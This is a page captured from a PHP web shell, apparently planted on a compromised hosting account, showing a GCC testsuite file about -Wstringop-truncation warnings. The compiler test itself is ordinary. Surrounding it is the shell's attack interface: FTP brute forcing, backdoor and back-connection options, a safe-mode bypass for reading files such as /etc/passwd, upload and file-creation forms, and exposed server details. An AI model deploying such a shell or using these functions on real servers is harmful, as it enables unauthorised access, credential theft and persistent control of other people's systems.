Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wstringop-truncation.c (3.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR tree-optimization/84468 - Inconsistent -Wstringop-truncation warnings
   with -O2
   { dg-do compile }
   { dg-options "-O2 -Wstringop-truncation -ftrack-macro-expansion=0 -g" }  */

#define strncpy __builtin_strncpy

struct A
{
  char a[4];
};

void no_pred_succ_lit (struct A *p)
{
  /* The following is folded early on, before the strncpy statement
     has a basic block.  Verify that the case is handled gracefully
     (i.e., there's no assumption that the statement does have
     a basic block).  */
  strncpy (p->a, "1234", sizeof p->a - 1);    /* { dg-warning "\\\[-Wstringop-truncation" } */
}

/* Verify a strncpy call in a basic block with no predecessor or
   successor.  */
void no_pred_succ (struct A *p, const struct A *q)
{
  strncpy (p->a, q->a, sizeof p->a - 1);      /* { dg-warning "\\\[-Wstringop-truncation" } */
}


/* Verify a strncpy call in a basic block with no successor.  */
void no_succ (struct A *p, const struct A *q)
{
  if (q->a)
    strncpy (p->a, q->a, sizeof p->a - 1);    /* { dg-warning "\\\[-Wstringop-truncation" } */
}

/* Verify a strncpy call in a basic block with nul assignment in
   a successor block.  */
void succ (struct A *p, const struct A *q)
{
  /* Verify that the assignment suppresses the warning for the conditional
     strcnpy call.  The conditional should be folded to true since the
     address of an array can never be null (see bug 84470).  */
  if (q->a)
    strncpy (p->a, q->a, sizeof p->a - 1);    /* { dg-bogus "\\\[-Wstringop-truncation" } */

  p->a[sizeof p->a - 1] = 0;
}


void succ_2 (struct A *p, const struct A *q, int i)
{
  /* Same as above but with a conditional that cannot be eliminated.  */
  if (i < 0)
    strncpy (p->a, q->a, sizeof p->a - 1);    /* { dg-bogus "\\\[-Wstringop-truncation" } */

  p->a[sizeof p->a - 1] = 0;
}


/* Verify a strncpy call in a basic block with nul assignment in
   the next successor block.  */
int next_succ (struct A *p, const struct A *q, int i, int j)
{
  /* Same as above but with a nested conditionals with else clauses.  */
  if (i < 0)
    {
      if (j < 0)
    strncpy (p->a, q->a, sizeof p->a - 1);    /* { dg-bogus "\\\[-Wstringop-truncation" } */
    }
  else
    __builtin_strcpy (p->a, q->a);

  p->a[sizeof p->a - 1] = 0;
  return 0;
}


int next_succ_1 (struct A *p, const struct A *q, int i, int j)
{
  /* Same as above but with a nested conditionals with else clauses.  */
  if (i < 0)
    {
      if (j < 0)
    strncpy (p->a, q->a, sizeof p->a - 1);    /* { dg-bogus "\\\[-Wstringop-truncation" } */
      else
    strncpy (p->a, q->a, sizeof p->a - 2);    /* { dg-bogus "\\\[-Wstringop-truncation" } */
    }

  p->a[sizeof p->a - 2] = 0;
  return 1;
}


int next_succ_2 (struct A *p, const struct A *q, int i, int j)
{
  /* Same as above but with a nested conditionals with else clauses.  */
  if (i < 0)
    {
      if (j < 0)
    strncpy (p->a, q->a, sizeof p->a - 1);    /* { dg-bogus "\\\[-Wstringop-truncation" } */
      else
    strncpy (p->a, q->a, sizeof p->a - 2);    /* { dg-bogus "\\\[-Wstringop-truncation" } */
    }
  else
    __builtin_strcpy (p->a, q->a);

  p->a[sizeof p->a - 2] = 0;
  return 2;
}


void cond_succ_warn (struct A *p, const struct A *q, int i)
{
  /* Verify that a conditional assignment doesn't suppress the warning.  */
  strncpy (p->a, q->a, sizeof p->a - 1);      /* { dg-warning "\\\[-Wstringop-truncation" } */

  if (i < 0)
    p->a[sizeof p->a - 1] = 0;
}

void cond_succ_nowarn (struct A *p, const struct A *q)
{
  /* Verify that distinct but provably equivalent conditionals are
     recognized and don't trigger the warning.  */
  if (p != q)
    strncpy (p->a, q->a, sizeof p->a - 1);

  if (p->a != q->a)
    p->a[sizeof p->a - 1] = 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0053 ]--